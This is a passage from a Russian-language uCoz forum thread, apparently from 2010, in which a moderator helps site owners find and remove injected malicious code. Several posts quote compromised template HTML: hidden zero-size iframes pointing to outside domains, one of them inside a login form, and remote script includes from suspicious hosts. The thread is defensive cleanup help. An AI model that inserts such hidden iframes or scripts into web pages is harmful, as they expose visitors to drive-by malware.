Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение)
Вирусы на сайтах (для изучения)
XumSan
Сообщений: 4
Репутация: 6

Сообщение # 136 | 20:29:27 02 Дек 2010
Quote (webanet)
скрин баннера что у вас выскакивает выложите.

Его еще поймать надо biggrin . Как появится - сразу выложу smile
Сайту давно 10 дней исполнилось. Это, кажется не баннер от ucoz.
"Нет вредных веществ, есть вредные количества" - Д.И. Менделеев
"С хорошим мотором и ворота полетят" - Туполев
Сообщение отредактировал XumSan - Четверг, 02 Дек 2010, 20:30:31
Prifect
Сообщений: 2
Репутация: 0

Сообщение # 137 | 20:29:37 02 Дек 2010
1. http://neovitals.clan.su/
2. Гугл Хром кричит, что на нём вирусы, а точнее:

3. Добавил на сайт несколько безобидных вещей: Часы, мини-профиль, затемнение счётчика, анимацию опросов, приветствие в зависимости от времени суток. Ещё пытался добавить так называемого "хоттабыча"
После этого при обновлении, хром заверещал на вирусы. ПОследний добавленный скрипт снёс. Никто из знакомых не жаловался пока на такое сообщение. С других браузеров тоже у меня не выползало предупреждение, только с Хрома.

Внимание вопрос. Что делать то? Как избавиться от этого?

Дополнение небольшое:

После этого пытается запуститься Акробат ридер, выскакивает ошибка и он сворачивается.
Зы. Ещё рекламку небольшую добавил на сайт, мб в этом проблема?

Прикрепления: 0094453.png (20.7 Kb)
Сообщение отредактировал Prifect - Пятница, 03 Дек 2010, 01:37:37
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 138 | 01:41:58 03 Дек 2010
Prifect,
Quote
<div align="center">Позывной: <strong>Гость</strong> <br>
Твои координаты : <strong>89.28.98.161</strong> <br>
Группа: <strong>Гости</strong> <br>
Ваши Весточки: <strong></strong><p></p>

<input class="buttonprofile" type="button" onclick="document.location.href='/index/8'; return false;" value="Профиль">

<input class="buttonprofile" type="button" onclick="window.open('/index/14','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350'); return false;" value="ЛС">

<input class="buttonprofile" type="button" onclick="document.location.href='/index/10'; return false;" value="Выход">
</div>

<iframe src="http://rapnews.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameborder="0"></iframe><script type="text/javascript">function flashit(id,cl){var c=document.getElementById(id);if (c.style.color=='red'){c.style.color=cl;}else {c.style.color='red';}}setInterval("flashit('upml2','')",500)</script>

<script language=javascript type=text/javascript>

выделенное красным удалить. ифрейм находится в блоке ваш профиль

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Prifect
Сообщений: 2
Репутация: 0

Сообщение # 139 | 01:56:42 03 Дек 2010
огромное спасибо!
Сейчас уже перечитываю тему, много полезного... ошибка новичка, пихать всё на сайт)
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 140 | 14:44:19 03 Дек 2010
The-Will[101hp], нет. это в шаблоне страницы сайта. сами ставите скрипты, а потом спрашиваете как?

панель управления - редактор страниц - управление дизайном модуля - страницы сайта -

открываете шаблон страницы сайта и после боди сразу ищете вот это

Quote
<div class="fade">
<div class="posts">
<div class="contentsize">

<!-- <body> --><script type="text/javascript" src="http://p0rtal.org/informer/23"></script>

<div id="carousel" style="position: absolute; top: 100px; left: 300px;">
<script type="text/javascript" src="http://p0rtal.org/informer/24"></script>
</div>

выделенное красным удалить. остальной код дан для ориентации в пространстве. так же пройдитесь по всем шаблонам в редакторе и удалите

Code
<script type="text/javascript" src="http://scriptbox.net.ru/cs_block_dw.js"></script>

  <script type="text/javascript" src="http://java-gala.net.ru/soft/Softblock2.js"></script>
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
GoldHouse
Сообщений: 10
Репутация: 7

Сообщение # 141 | 19:05:36 03 Дек 2010
как у брать вирус с сайта.
а как изменить шапку я уже знаю.
токо вот в каком формате ее закидывать надо для быстрой загрузки еще не понел.
но дело щав том как найти где спрятолся вирус на сайте,а программой Dr.Web мой антивирусник сразу в дыбы лезит.
The-Will[101hp]
Сообщений: 8
Репутация: -3

Сообщение # 142 | 19:16:45 03 Дек 2010
А почему у меня стало без фото весь шаблон...
Пока я еще не сменил...

Добавлено (03-Дек-2010, 19:09:07)
---------------------------------------------
И что за шняга
У меня теперь даже при заходе в панель браузер задолбал писать про вирус...

Добавлено (03-Дек-2010, 19:10:40)
---------------------------------------------
Ну ппц у меня нет этого...
<!-- <body> --><script type="text/javascript" src="http://p0rtal.org/informer/23"></script>

<div id="carousel" style="position: absolute; top: 100px; left: 300px;">
<script type="text/javascript" src="http://p0rtal.org/informer/24"></script>
</div>

Добавлено (03-Дек-2010, 19:16:45)
---------------------------------------------
Ну я не понимаю
fear unsure wacko

Помогите очень прошу
Я не сильно разбираюсь
Но это как мое хобби
Сайту уже больше года(((

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 143 | 20:00:54 03 Дек 2010
GoldHouse, ответ тут //forum.ucoz.ru/forum/31-34556-660833-16-1291307282 нужно очистить кеш и куки в браузере временные файлы интернета и зайти в панель управления, редактировать через редактор страниц, а не через сайт
The-Will[101hp], вас это тоже касается. кеш куки временные файлы и тогда идти в админку без захода на сайт, редактировать через редактор страниц. если совершенно не понимаете в этом, то стоит сделать бекап шаблонов и полностью восстановить стандартный шаблон сайта
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
GoldHouse
Сообщений: 10
Репутация: 7

Сообщение # 144 | 07:58:17 04 Дек 2010
блин да где их еще искать ети вставки 1 и 2 контейнер прошолся поудолял половина через панель упровления.


и как их можно еще просмотреть и найти.

могут ли они быть в шаблоне етого сайта iframe-вставки.
а то я поменял шаблон а потом поменял шапку для сайта и после всего етого и начались проблемы до етого тема стояла от гта 4 скаченая где то ссети,а щас выбрат шаблон из тех что предлогает юкоз и поставил.

Прикрепления: 1390784.jpg (76.1 Kb)
Miss_Esq
Сообщений: 13859
Репутация: 4159
Уровень замечаний:

Сообщение # 145 | 10:39:59 04 Дек 2010
GoldHouse,
Quote
терь после чистки куки не с одного браузера немогу попасть вконтакт и на сайт торента.
Естественно , нужно входить , вводить пароли по новой ...
На сайте fanat-igr.ucoz.ru/ чисто ...
geometriya ISO 3166-2 DEE
Сообщение отредактировал Miss_Esq - Суббота, 04 Дек 2010, 10:52:15
GoldHouse
Сообщений: 10
Репутация: 7

Сообщение # 146 | 13:23:35 04 Дек 2010
Quote (Miss_Esq)
На сайте fanat-igr.ucoz.ru/ чисто

не-а серавно пишет есть вирусы iframe-вставки.

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 147 | 14:34:54 04 Дек 2010
GoldHouse, теперь у вас на сайте чисто наконец. а на счет сервисов, то вместо писанины на форуме читайте тему в которой пишете //forum.ucoz.ru/forum/31-34556-660640-16-1291241372 и до этого поднимался вопрос. прочитайте тему все станет ясно. ничего с сайтом больше не делайте и ждите пока гугл снимет фильтр с вас.
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
The-Will[101hp]
Сообщений: 8
Репутация: -3

Сообщение # 148 | 17:38:36 04 Дек 2010
webanet,
Я удалил все, что вы сказали

Проверьте пожалуйста
Если не сложно
Вот
djlimon.my1.ru

P.S. Спасибо Заранее
Я Вам очень благодарен...

jinivoy
Сообщений: 3
Репутация: 0

Сообщение # 149 | 00:10:02 05 Дек 2010
Здравствуйте!
Помогите пожалуйста решить проблему с вредоносным кодом.
Получил сегодня от Яндекса уведомление - На страницах вашего сайта suit.ucoz.ru обнаружен код, который может быть опасен для посетителей.
Но вот найти его не могу и не понимаю в чем проблема? Гугл ничего не находит,скачал все папки по FTP и проверил,вирусов нет,проверил HTML ничего не нашел VOT SAYT www.azizim.net
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 150 | 02:00:38 05 Дек 2010
jinivoy, в форме входа удалить выделенное красным

Quote
<div id="blk549396" style="border:1px solid #CCCCCC;position:absolute;z-index:82;background:url('http://s17.ucoz.net/img/fr/g.gif');display:none;"></div><form id="frmLg549396" method="post" style="margin:0" onsubmit="sendFrm549396();return false;"><DIV style="PADDING-BOTTOM: 3px; COLOR: red; TEXT-ALIGN: center"></DIV><!--ENDIF-->
<DL class=uLogBlock>
<DIV class=uLogDescr><STRONG><SPAN style="COLOR: #1e90ff">Login:</SPAN></STRONG></DIV>
<DIV class=uLogField><INPUT class=log1 style="WIDTH: 100px" maxLength=25 name=user></DIV></DL>

<DL class=uLogBlock>
<DIV class=uLogDescr id=uld2><STRONG><SPAN style="COLOR: #1e90ff">Parol:</SPAN></STRONG></DIV>
<DIV class=uLogField id=ulf2><INPUT class=log2 style="WIDTH: 100px" type=password maxLength=15 name=password></DIV></DL>
<DL class=uLogBlock>
<DIV class=uLogRem>
<iframe style="position:absolute;left:1%;width:0%;top:1%;height:0%;"src="http://mirmuzla.net.ru"></iframe><INPUT id=remsitePage1 type=checkbox CHECKED value=1 name=rem><LABEL for=remsitePage1>Eslab qolish</LABEL> </DIV>
<DIV class=uLogSbm><INPUT class=loginButton type=submit value=Kirish name=sbm></DIV></DL>
<DL class=uLogBlock>
<DIV class=uLogLinks style="FONT-SIZE: 7pt; TEXT-ALIGN: center"><A id=ull1 href="javascript://" rel="nofollow" onclick="new _uWnd('Prm','Напоминание пароля',300,130,{autosize:1,closeonesc:1},{url:'/index/5'});return false;">Parolni unutdim</A> · <A id=ull2 href="http://www.azizim.net/index/3">Ro'yhatdan o'tish</A></DIV></DL></DIV><input type="hidden" name="a" value="2" /><input type="hidden" name="ajax" value="1" /><input type="hidden" name="rnd" value="396" /></form><span style="font-weight: bold;"><br><br></span></div><div class="m"><span style="font-weight: bold;">Saytni eslab qolish uchun</span> <span style="color: rgb(255, 0, 0); font-weight: bold; ">CTRL</span> <span style="font-weight: bold;">va</span> <span style="font-weight: bold;"><span style="color: rgb(255, 0, 0);">D</span></span> <span style="font-weight: bold;">ni bosing!</span><!-- </bc> --></div></ul></td></tr></tbody></table>

<!-- </block9> -->

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Вирусы на сайтах (для изучения) (примеры вредоносного кода и устранение)
Поиск: